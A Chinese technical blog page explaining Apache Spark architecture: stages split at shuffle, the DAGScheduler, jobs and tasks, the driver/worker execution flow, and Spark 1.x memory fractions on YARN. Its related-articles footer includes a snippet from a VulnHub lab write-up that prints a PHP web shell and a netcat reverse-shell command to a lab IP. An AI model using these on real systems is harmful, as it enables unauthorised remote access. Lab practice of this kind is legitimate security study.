当前位置: 首页 > news >正文

09-Spark架构

相比MapReduce僵化的Map与Reduce分阶段计算,Spark计算框架更有弹性和灵活性,运行性能更佳。

1 Spark的计算阶段

  • MapReduce一个应用一次只运行一个map和一个reduce
  • Spark可根据应用复杂度,分割成更多的计算阶段(stage),组成一个DAG,Spark任务调度器可根据DAG依赖关系执行计算阶段

逻辑回归机器学习性能Spark比MapReduce快100多倍。因某些机器学习算法可能需大量迭代计算,产生数万个计算阶段,这些计算阶段在一个应用中处理完成,而不像MapReduce需要启动数万个应用,因此运行效率极高。

DAG,不同阶段的依赖关系有向,计算过程只能沿依赖关系方向执行,被依赖的阶段执行完成前,依赖的阶段不能开始执行。该依赖关系不能有环形依赖,否则就死循环。

典型的Spark运行DAG的不同阶段:

整个应用被切分成3个阶段,阶段3依赖阶段1、2,阶段1、2互不依赖。Spark执行调度时,先执行阶段1、2,完成后,再执行阶段3。对应Spark伪代码:

rddB = rddA.groupBy(key)
rddD = rddC.map(func)
rddF = rddD.union(rddE)
rddG = rddB.join(rddF)

所以Spark作业调度执行核心是DAG,整个应用被切分成数个阶段,每个阶段的依赖关系也很清楚。根据每个阶段要处理的数据量生成任务集合(TaskSet),每个任务都分配一个任务进程去处理,Spark就实现大数据分布式计算。

负责Spark应用DAG生成和管理的组件是DAGScheduler:

  • DAGScheduler根据程序代码生成DAG
  • 然后将程序分发到分布式计算集群
  • 按计算阶段的先后关系调度执行

Spark划分计算阶段的依据

显然并非RDD上的每个转换函数都会生成一个计算阶段,如上4个转换函数,但只有3个阶段。

观察上面DAG图,计算阶段的划分就看出,当RDD之间的转换连接线呈现多对多交叉连接,就产生新阶段。一个RDD代表一个数据集,图中每个RDD里面都包含多个小块,每个小块代表RDD的一个分片。

一个数据集中的多个数据分片需进行分区传输,写到另一个数据集的不同分片,这种数据分区交叉传输操作,在MapReduce运行过程也看过。

这就是shuffle过程,Spark也要通过shuffle将数据重组,相同Key的数据放在一起,进行聚合、关联等操作,因而每次shuffle都产生新的计算阶段。这也是为什么计算阶段会有依赖关系,它需要的数据来源于前面一个或多个计算阶段产生的数据,必须等待前面的阶段执行完毕才能进行shuffle,并得到数据。

计算阶段划分依据是shuffle,而非转换函数的类型,有的函数有时有shuffle,有时无。如上图例子中RDD B和RDD F进行join,得到RDD G,这里的RDD F需要进行shuffle,RDD B不需要。

因为RDD B在前面一个阶段,阶段1的shuffle过程中,已进行数据分区。分区数目和分区K不变,无需再shuffle:

  • 这种无需进行shuffle的依赖,在Spark里称窄依赖
  • 需进行shuffle的依赖,称宽依赖

类似MapReduce,shuffle对Spark也重要,只有通过shuffle,相关数据才能互相计算。

既然都要shuffle,为何Spark更高效?

本质Spark算一种MapReduce计算模型的不同实现。Hadoop MapReduce简单粗暴根据shuffle将大数据计算分成Map、Reduce两阶段就完事。但Spark更细,将前一个的Reduce和后一个的Map连接,当作一个阶段持续计算,形成一个更优雅、高效地计算模型,其本质依然是Map、Reduce。但这种多个计算阶段依赖执行的方案可有效减少对HDFS的访问,减少作业的调度执行次数,因此执行速度更快。

不同于Hadoop MapReduce主要使用磁盘存储shuffle过程中的数据,Spark优先使用内存进行数据存储,包括RDD数据。除非内存不够用,否则尽可能使用内存, 这即Spark比Hadoop性能高。

2 Spark作业管理

Spark里面的RDD函数有两种:

  • 转换函数,调用后得到的还是RDD,RDD计算逻辑主要通过转换函数
  • action函数,调用后不再返回RDD。如count()函数,返回RDD中数据的元素个数
  • saveAsTextFile(path),将RDD数据存储到path路径

Spark的DAGScheduler遇到shuffle时,会生成一个计算阶段,在遇到action函数时,会生成一个作业(job)。

RDD里面的每个数据分片,Spark都会创建一个计算任务去处理,所以一个计算阶段含多个计算任务(task)。

作业、计算阶段、任务的依赖和时间先后关系:

横轴时间,纵轴任务。两条粗黑线之间是一个作业,两条细线之间是一个计算阶段。一个作业至少包含一个计算阶段。水平方向红色的线是任务,每个阶段由很多个任务组成,这些任务组成一个任务集合。

DAGScheduler根据代码生成DAG图后,Spark任务调度就以任务为单位进行分配,将任务分配到分布式集群的不同机器上执行。

3 Spark执行流程

Spark支持Standalone、Yarn、Mesos、K8s等多种部署方案,原理类似,仅不同组件的角色命名不同。

3.1 Spark cluster components

Spark应用程序启动在自己的JVM进程里(Driver进程),启动后调用SparkContext初始化执行配置和输入数据。SparkContext启动DAGScheduler构造执行的DAG图,切分成最小的执行单位-计算任务。

然后,Driver向Cluster Manager请求计算资源,用于DAG的分布式计算。Cluster Manager收到请求后,将Driver的主机地址等信息通知给集群的所有计算节点Worker。

Worker收到信息后,根据Driver的主机地址,跟Driver通信并注册,然后根据自己的空闲资源向Driver通报自己可以领用的任务数。Driver根据DAG图开始向注册的Worker分配任务。

Worker收到任务后,启动Executor进程执行任务。Executor先检查自己是否有Driver的执行代码,若无,从Driver下载执行代码,通过Java反射加载后开始执行。

4 Spark V.S Hadoop

4.1 个体对比

4.2 生态圈对比

4.3 MapReduce V.S Spark

4.4 优势

4.5 Spark 和 Hadoop 协作

5 总结

相比Mapreduce,Spark的主要特性:

  • RDD编程模型更简单
  • DAG切分的多阶段计算过程更快
  • 使用内存存储中间计算结果更高效

Spark在2012开始流行,那时内存容量提升和成本降低已经比MapReduce出现的十年前强了一个数量级,Spark优先使用内存的条件已成熟。

本文描述的内存模型自 Apache Spark 1.6+ 开始弃用,新的内存模型基于 UnifiedMemoryManager,并在这篇文章中描述。

在最近的时间里,我在 StackOverflow 上回答了一系列与 ApacheSpark 架构有关的问题。所有这些问题似乎都是因为互联网上缺少一份关于 Spark 架构的好的通用描述造成的。即使是官方指南也没有太多细节,当然也缺乏好的图表。《学习 Spark》这本书和官方研讨会的资料也是如此。

在这篇文章中,我将尝试解决这个问题,提供一个关于 Spark 架构的一站式指南,以及对其一些最受欢迎的概念问题的解答。这篇文章并不适合完全的初学者——它不会为你提供关于 Spark 主要编程抽象(RDD 和 DAG)的洞见,但是它要求你有这些知识作为先决条件。

从 http://spark.apache.org/docs/1.3.0/cluster-overview.html 上可用的官方图片开始:

Spark 架构官方:

如你所见,它同时引入了许多术语——“executor”,“task”,“cache”,“Worker Node”等等。当我开始学习 Spark 概念的时候,这几乎是互联网上唯一关于 Spark 架构的图片,现在情况也没有太大改变。我个人不是很喜欢这个,因为它没有显示一些重要的概念,或者显示得不是最佳方式。

让我们从头说起。任何,任何在你的集群或本地机器上运行的 Spark 过程都是一个 JVM 过程。与任何 JVM 过程一样,你可以用 -Xmx-Xms JVM 标志来配置它的堆大小。这个过程如何使用它的堆内存,以及它为什么需要它?以下是 JVM 堆内的 Spark 内存分配图表:

Spark 堆使用

默认情况下,Spark 以 512MB JVM 堆启动。为了安全起见,避免 OOM 错误,Spark 只允许使用堆的 90%,这由参数 spark.storage.safetyFraction 控制。好的,正如你可能已经听说 Spark 是一个内存中的工具,Spark 允许你将一些数据存储在内存中。如果你读过我这里的文章 https://0x0fff.com/spark-misconceptions/,你应该理解 Spark 并不是真的内存工具,它只是利用内存来缓存 LRU(http://en.wikipedia.org/wiki/Cache_algorithms)。所以一些内存是为你处理的数据缓存而保留的部分,这部分通常是安全堆的 60%,由 spark.storage.memoryFraction 参数控制。所以如果你想知道你可以在 Spark 中缓存多少数据,你应该取所有执行器的堆大小之和,乘以 safetyFractionstorage.memoryFraction,默认情况下,它是 0.9 * 0.6 = 0.54 或者让 Spark 使用的总的堆大小的 54%。

现在更详细地了解 shuffle 内存。它的计算方法为 “堆大小” * spark.shuffle.safetyFraction * spark.shuffle.memoryFractionspark.shuffle.safetyFraction 的默认值是 0.8 或 80%,spark.shuffle.memoryFraction 的默认值是 0.2 或 20%。所以最终你可以使用最多 0.8*0.2 = 0.16 或 JVM 堆的 16% 用于 shuffle。但是 Spark 如何使用这些内存呢?你可以在这里获取更多细节(https://github.com/apache/spark/blob/branch-1.3/core/src/main/scala/org/apache/spark/shuffle/ShuffleMemoryManager.scala),但总的来说,Spark 用这些内存进行它的 Shuffle。当 Shuffle 进行时,有时你也需要对数据进行排序。当你排序数据时,你通常需要一个缓冲区来存储排序后的数据(记住,你不能就地修改 LRU 缓存中的数据,因为它是用来稍后重用的)。所以它需要一些 RAM 来存储排序的数据块。如果你没有足够的内存来排序数据会怎样?有一系列通常被称为“外部排序”的算法(http://en.wikipedia.org/wiki/External_sorting)允许你进行分块数据的排序,然后再将最终结果合并起来。

我还没涵盖的 RAM 的最后部分是“unroll”内存。被 unroll 过程使用的 RAM 部分是 spark.storage.unrollFraction * spark.storage.memoryFraction * spark.storage.safetyFraction,默认值等于 0.2 * 0.6 * 0.9 = 0.108 或者堆的 10.8%。这是当你将数据块 unroll 到内存时可以使用的内存。为什么你需要 unroll 它呢?Spark 允许你以序列化和非序列化形式存储数据。序列化形式的数据不能直接使用,因此你需要在使用之前 unroll 它,所以这是用于 unroll 的 RAM。它与存储 RAM 共享,这意味着如果你需要一些内存来 unroll 数据,这可能会导致 Spark LRU 缓存中存储的一些分区被删除。

这很好,因为此刻你知道了什么是 Spark 过程以及它如何利用它的 JVM 过程的内存。现在让我们转到集群模式——当你启动一个 Spark 集群时,它实际上是什么样的呢?我喜欢 YARN,所以我将讲述它在 YARN 上是如何工作的,但是总的来说,对于任何你使用的集群管理器来说都是一样的:

在 YARN 上的 Spark 架构:

当你有一个 YARN 集群时,它有一个 YARN Resource Manager 守护进程,控制集群资源(实际上是内存)以及在集群节点上运行的一系列 YARN Node Managers,控制节点资源利用率。从 YARN 的角度来看,每个节点代表你有控制权的 RAM 池。当你向 YARN Resource Manager 请求一些资源时,它会给你提供你可以联系哪些 Node Managers 为你启动执行容器的信息。每个执行容器是一个具有请求堆大小的 JVM。JVM 位置由 YARN Resource Manager 选择,你无法控制它——如果节点有 64GB 的 RAM 被 YARN 控制(yarn-site.xml 中的 yarn.nodemanager.resource.memory-mb 设置)并且你请求 10 个执行器,每个执行器 4GB,它们所有的都可以容易地在一个 YARN 节点上启动,即使你有一个大集群。

当你在 YARN 之上启动 Spark 集群时,你指定了你需要的执行器数量(–num-executors 标志或 spark.executor.instances 参数)、每个执行器使用的内存量(–executor-memory 标志或 spark.executor.memory 参数)、每个执行器允许使用的核心数量(–executor-cores 标志或 spark.executor.cores 参数),以及为每个任务的执行专用的核心数量(spark.task.cpus 参数)。同时你还指定了驱动程序应用程序使用的内存量(–driver-memory 标志或 spark.driver.memory 参数)。

当你在集群上执行某事时,你的工作处理被分割成阶段,每个阶段又被分割成任务。每个任务分别被调度。你可以将每个作为执行者工作的 JVM 视为一个任务执行槽池,每个执行者会给你 spark.executor.cores / spark.task.cpus 执行槽供你的任务使用,总共有 spark.executor.instances 执行器。这是一个例子。有 12 个节点运行 YARN Node Managers 的集群,每个节点 64GB 的 RAM 和 32 个 CPU 核心(16 个物理核心与超线程)。这样,在每个节点上你可以启动 2 个执行器,每个执行器 26GB 的 RAM(为系统进程、YARN NM 和 DataNode 留下一些 RAM),每个执行器有 12 个核心用于任务(为系统进程、YARN NM 和 DataNode 留下一些核心)。所以总的来说你的集群可以处理 12 台机器 * 每台机器 2 个执行器 * 每个执行器 12 个核心 / 每个任务 1 个核心 = 288 个任务槽。这意味着你的 Spark 集群将能够并行运行多达 288 个任务,从而利用你在这个集群上拥有的几乎所有资源。你可以在这个集群上缓存数据的内存量是 0.9 * spark.storage.safetyFraction * 0.6 * spark.storage.memoryFraction * 12 台机器 * 每台机器 2 个执行器 * 每个执行器 26 GB = 336.96 GB。不算太多,但在大多数情况下它是足够的。

到目前为止效果很好,现在你知道了 Spark 如何使用它的 JVM 的内存以及你在集群上有哪些执行槽。正如你可能已经注意到的,我没有详细介绍“任务”究竟是什么。这将是下一篇文章的主题,但基本上它是 Spark 执行的一个单一工作单元,并作为 线程* 在执行器 JVM 中执行。这是 Spark 低作业启动时间的秘诀——在 JVM 中启动额外的线程比启动整个 JVM 快得多,而后者是在 Hadoop 中开始 MapReduce 作业时执行的。

现在让我们关注另一个叫做“partition”的 Spark 抽象。你在 Spark 中工作的所有数据都被分割成分区。一个单一的分区是什么,它是如何确定的?分区大小完全取决于你使用的数据源。对于大多数在 Spark 中读取数据的方法,你可以指定你想要在你的 RDD 中有多少分区。当你从 HDFS 读取一个文件时,你使用的是 Hadoop 的 InputFormat 来做到这一点。默认情况下,InputFormat 返回的每个输入分割都映射到 RDD 中的单个分区。对于 HDFS 上的大多数文件,每个输入分割生成一个对应于 HDFS 上存储的一个数据块的数据,大约是 64MB 或 128MB 的数据。大约,因为在 HDFS 中,数据是按照字节的确切块边界分割的,但是在处理时它是按照记录分割分割的。对于文本文件,分割字符是换行符,对于序列文件,是块末等等。这个规则的唯一例外是压缩文件——如果你有整个文本文件被压缩,那么它不能被分割成记录,整个文件将成为一个单一的输入分割,从而在 Spark 中成为一个单一的分区,你必须手动重新分区它。

现在我们所拥有的真的很简单——为了处理一个单独的数据分区,Spark 生成一个单一任务,这个任务在靠近你拥有的数据的位置(Hadoop 块位置,Spark 缓存的分区位置)的任务槽中执行。

参考

  • https://spark.apache.org/docs/3.2.1/cluster-overview.html
  • shuffle可以在这里找到
  • 新内存管理模型可以在这里找到

相关文章:

09-Spark架构

相比MapReduce僵化的Map与Reduce分阶段计算,Spark计算框架更有弹性和灵活性,运行性能更佳。 1 Spark的计算阶段 MapReduce一个应用一次只运行一个map和一个reduceSpark可根据应用复杂度,分割成更多的计算阶段(stage)…...

挑战5分钟内基于Springboot+SpringMVC+Mybatis-plus快速构建web后端三层架构

目标 在清晨的代码编辑器上,一场新的挑战即将开始。程序员们肃立于安静的办公室,眼神专注地盯着屏幕,等待着编译器的一声提示。 随着编译器输出的激动人心的"start!"的提示,战斗的序幕拉开了。Bug如潮水般涌来&#x…...

浅谈JavaScript中的作用域

前言 今天就来简单聊聊JavaScript中的作用域吧!!! 正文 我们都知道,在任何一门编程语言里面都是有作用域这个概念的,不然岂不乱套了 在js中的作用域一共分为三种,全局域、函数域和块级作用域 全局域 全…...

Python | C++漂移扩散方程和无风险套利公式算法微分

🎯要点 🎯漂移扩散方程计算微分 | 🎯期权无风险套利公式计算微分 | 🎯实现图结构算法微分 | 🎯实现简单正向和反向计算微分 | 🎯实现简单回归分类和生成对抗网络计算微分 | 🎯几何网格计算微分…...

python如何对list求和

如何在Python中对多个list的对应元素求和,前提是每个list的长度一样。比如:a[1,2,3],b[2,3,4],c[3,4,5],对a,b,c的对应元素…...

如何解决mfc100u.dll丢失问题,关于mfc100u.dll丢失的多种解决方法

在计算机使用过程中,我们常常会遇到一些错误提示,其中之一就是“计算显示缺失mfc100u.dll”。这个问题可能会影响到我们的正常使用,因此了解它的原因、表现以及解决方法是非常重要的。小编将详细介绍计算显示缺失mfc100u.dll的问题&#xff0…...

算法day32

第一题 207. 课程表 步骤一: 通过下图的课程数组,首先画出DAG图(有向无环图) 步骤二: 其次我们按照DAG图,来构建该图的拓扑排序,等有效的点都按照规则排完序后,观察是否有剩下的点的入度不为0&…...

【QT】信号与槽

目录 概述 Q_OBJECT 自定义信号 自定义槽 带参数的信号和槽 信号与槽断开 定义槽函数时,使用lambda表达式 概述 所谓的信号槽,要解决的问题,就是响应用户的操作,这是QT与其他GUI开发框架比较不同的地方。其他的GUI开发框…...

【Java】解决Java报错:IllegalArgumentException

文章目录 引言1. 错误详解2. 常见的出错场景2.1 非法的参数值2.2 空值或 null 参数2.3 非法的数组索引 3. 解决方案3.1 参数验证3.2 使用自定义异常3.3 使用Java标准库中的 Objects 类 4. 预防措施4.1 编写防御性代码4.2 使用注解和检查工具4.3 单元测试 结语 引言 在Java编程…...

完美的移动端 UI 风格让客户无可挑剔

完美的移动端 UI 风格让客户无可挑剔...

【React】在 React 组件中,怎么使用useContext

在React中,useContext 是一个Hook,它允许你无需显式地通过组件树的每一层来传递 props,就能将值深入到组件树的任何位置。要使用 useContext,你需要先创建一个 Context 对象,然后使用这个对象提供的 Provider 组件来包裹你的应用中的一部分。然后,任何在这个 Provider 下…...

【数据结构】栈的应用

目录 0 引言 1 栈在括号匹配中的应用 2 栈在表达式求值中的应用 2.1 算数表达式 2.2 中缀表达式转后缀表达式 2.3 后缀表达式求值 3 栈在递归中的应用 3.1 栈在函数调用中的作用 3.2 栈在函数调用中的工作原理 4 总结 0 引言 栈(Stack)是一…...

Opencv基本操作

Opencv基本操作 导入并使用opencv进行图像与视频的基本处理 opencv读取的格式是BGR import cv2 #opencv读取的格式是BGR import numpy import matplotlib.pyplot as plt %matplotlib inline图像读取 通过cv2.imread()来加载指定位置的图像信息。 img cv2.imread(./res/ca…...

2779. 数组的最大美丽值

简单翻译一下题目意思: 对于每个 nums[i] 都可以被替换成 [nums[i]-k, nums[i]k] 区间中的任何数,区间左右是闭的。在每个数字可以替换的前提下,返回数组中最多的重复数字的数量。 第一想法是用一个哈希表,Key 是可以被替换的数…...

数据库修复实例(航线修复)

修复目标 修复回音群岛 (Echo Isles) 到 赞达拉港 (Port of Zandalar) 的航线 SET TRANSPORT_GUID : 32; SET TRANSPORT_ENTRY : 272677; SET CGUID : 850000;-- Adjust transports DELETE FROM transports WHERE guid TRANSPORT_GUID; INSERT INTO transports (guid, entry…...

视频网站下载利器yt-dlp参数详解

yt-dlp 是一个强大的命令行工具,用来下载 YouTube 和其他网站上的视频和音频。它拥有丰富的参数,可以定制下载行为,满足各种需求。本文将详细介绍 yt-dlp 的参数使用。 一、基本参数 -f, –format FORMAT: 指定下载格式,可以用视…...

可解析PHP的反弹shell方法

这里拿vulnhub-DC-8靶场反弹shell&#xff0c;详情见Vulnhub-DC-8 命令执行 拿nc举例 <?php echo system($_POST[cmd]); ?>利用是hackbar&#xff0c;POST提交cmdnc -e /bin/sh 192.168.20.128 6666, 直接反弹shell到kali。 一句话木马 <?php eval($_POST[&qu…...

AMSR-MODIS 边界层水汽 L3 每日 1 度 x 1 度 V1、V2 版本数据集

AMSR-MODIS Boundary Layer Water Vapor L3 Daily 1 degree x 1 degree V1 (AMDBLWV) at GES DISC AMSR-MODIS Boundary Layer Water Vapor L3 Daily 1 degree x 1 degree V2 (AMDBLWV) at GES DISC 简介 该数据集可估算均匀云层下的海洋边界层水汽。AMSR-E 和 AMSR-2 的微波…...

Oracle备份失败处理,看这一篇就够了!

作者&#xff1a;IT邦德 中国DBA联盟(ACDU)成员&#xff0c;10余年DBA工作经验&#xff0c; Oracle、PostgreSQL ACE CSDN博客专家及B站知名UP主&#xff0c;全网粉丝10万 擅长主流Oracle、MySQL、PG、高斯及Greenplum备份恢复&#xff0c; 安装迁移&#xff0c;性能优化、故障…...

后端中缓存的作用以及基于Spring框架演示实现缓存

缓存的作用及演示 现在我们使用的程序都是通过去数据库里拿数据然后展示的 长期对数据库进行数据访问 这样数据库的压力会越来越大 数据库扛不住了 创建了一个新的区域 程序访问去缓存 缓存区数据库 缓存里放数据 有效降低数据访问的压力 我们首先进行一个演示 为了演示…...

Python:基础爬虫

Python爬虫学习&#xff08;网络爬虫&#xff08;又称为网页蜘蛛&#xff0c;网络机器人&#xff0c;在FOAF社区中间&#xff0c;更经常的称为网页追逐者&#xff09;&#xff0c;是一种按照一定的规则&#xff0c;自动地抓取万维网信息的程序或者脚本。另外一些不常使用的名字…...

机器人运动学笔记

一、建模 参考资料&#xff1a;https://zhuanlan.zhihu.com/p/137960186 1、三维模型和连杆、关节定义 2、设置z轴 SDH和MDH会不一样&#xff0c;主要的区别在于SDH中坐标系在连杆末端&#xff0c;MDH中坐标系在连杆首端。虽然这里只是给出z轴&#xff0c;但是由于后面原点位…...

webshell三巨头 综合分析(蚁剑,冰蝎,哥斯拉)

考点: 蚁剑,冰蝎,哥斯拉流量解密 存在3个shell 过滤器 http.request.full_uri contains "shell1.php" or http.response_for.uri contains "shell1.php" POST请求存在明文传输 ant 一般蚁剑执行命令 用垃圾字符在最开头填充 去掉垃圾字符直到可以正常bas…...

stm32MP135裸机编程:启动流程分析

0 参考资料 轻松使用STM32MP13x - 如MCU般在cortex A核上裸跑应用程序.pdf STM32MP135AD数据手册.pdf1 stm32MP135裸机启动流程分析 1.1 启动方式 stm32MP135支持8种启动方式&#xff1a; 注&#xff1a; UART和USB启动并不是指通过UART/USB加载程序&#xff0c;而是通过UA…...

在Pycharm使用Github Copilot

文章目录 1.GitHub Copilot 是什么2.注册GitHub Copilot3.官方使用文档4.安装 GitHub Copilot插件5.在Pycharm中使用6.相关功能键7.启用或禁用 GitHub Copilot 1.GitHub Copilot 是什么 GitHub Copilot 是一款 AI 编码助手&#xff0c;可帮助你更快、更省力地编写代码&#xff…...

Docker镜像构建:Ubuntu18.04+python3.10

1、编写 Dockerfile # 使用Ubuntu 18.04作为基础镜像 FROM ubuntu:18.04RUN apt-get update && apt-get install -y \build-essential \curl \zlib1g-dev \libssl-dev \&& rm -rf /var/lib/apt/lists/*ENV PYTHON_VERSION3.10.8RUN curl -O https://www.pytho…...

如何进行LLM大模型推理优化

解密LLM大模型推理优化本质 一、LLM推理的本质以及考量点 LLM推理聚焦Transformer架构的Decoder以生成文本。过程分两步&#xff1a;首先&#xff0c;模型初始化并加载输入文本&#xff1b;接着&#xff0c;进入解码阶段&#xff0c;模型自回归地生成文本&#xff0c;直至满足…...

QLoRA:高效的LLMs微调方法,48G内存可调65B 模型

文章&#xff1a;https://arxiv.org/pdf/2305.14314.pdf 代码&#xff1a;https://github.com/artidoro/qlora概括 QLORA是一种有效的微调方法&#xff0c;它减少了内存使用&#xff0c;足以在单个48GB GPU上微调65B参数模型&#xff0c;同时保留完整的16位微调任务性能。QLOR…...

力扣48. 旋转图像

给定一个 n n 的二维矩阵 matrix 表示一个图像。请你将图像顺时针旋转 90 度。你必须在原地旋转图像&#xff0c;这意味着你需要直接修改输入的二维矩阵。请不要使用另一个矩阵来旋转图像。 示例 1&#xff1a; 输入&#xff1a;matrix [[1,2,3],[4,5,6],[7,8,9]] 输出…...

【踩坑日记】I.MX6ULL裸机启动时由于编译的程序链接地址不对造成的程序没正确运行

1 现象 程序完全正确&#xff0c;但是由于程序链接的位置不对&#xff0c;导致程序没有正常运行。 2 寻找原因 对生成的bin文件进行反汇编&#xff1a; arm-linux-gnueabihf-objdump -D -m arm ledc.elf > ledc.dis查看生成的反汇编文件 发现在在链接的开始地址处&…...

天津东丽做网站/今日头条新闻最新事件

goto语句 Go 语言的 goto 语句可以无条件地转移到过程中指定的行。 goto 语句通常与条件语句配合使用。可用来实现条件转移&#xff0c; 构成循环&#xff0c;跳出循环体等功能。 但是&#xff0c;在结构化程序设计中一般不主张使用 goto 语句&#xff0c; 以免造成程序流程的…...

网站 dns 解析/今日国际军事新闻头条

1半导体的重要性IT行业快速发展&#xff0c;而处理器无疑起到引领行业趋势的重要作用。长期以来&#xff0c;处理器的生产制造对于外界来说非常的神秘。在处理器方面&#xff0c;我国发展较晚&#xff0c;在顶尖技术方面相比国外的处理器厂商差距很大。处理器的生产流程由晶圆制…...

无锡建站方案/精准信息300099

M . 进阶实验6-3.6&#xff1a;最小生成树的唯一性 [ 问题 9341 ] [ 讨论 ] Description 给定一个带权无向图&#xff0c;如果是连通图&#xff0c;则至少存在一棵最小生成树&#xff0c;有时最小生成树并不唯一。本题就要求你计算最小生成树的总权重&#xff0c;并且判断其是否…...

附近网站建设公司/百度seo收费

我正在尝试使用TABLE_PER_CLASS策略创建继承,但我想为每个表创建不同的主键是否可能&#xff1f;我有一个类Register,它有数百万个实例,其中一些实例是“特殊的”,并且对于它们的列和额外的列有不同的规则.MappedSuperclasspublic abstract class Register {IdColumn(nullable …...

免费照片的网站模板/网推公司

然后&#xff0c;就可以猥琐欲为的引用Maven仓库的jar包了。 总结&#xff1a;像idea这样的大公司还在用配置文件来开发软件。。。 有时候真该换种思路了。。。...

wordpress做登录/微信信息流广告投放

准备工作&#xff08;我用的是小鸟云虚拟主机&#xff09; 1.获取小鸟云虚拟主机FTP信息。 2.开通主机数据库并获取数据库连接信息。 3.下载Discuz安装包。 4.在本地安装FTP工具&#xff0c;用于上传安装包至小鸟云虚拟主机。 部署 1.通过FTP连接小鸟云虚拟主机 2.上传Dis…...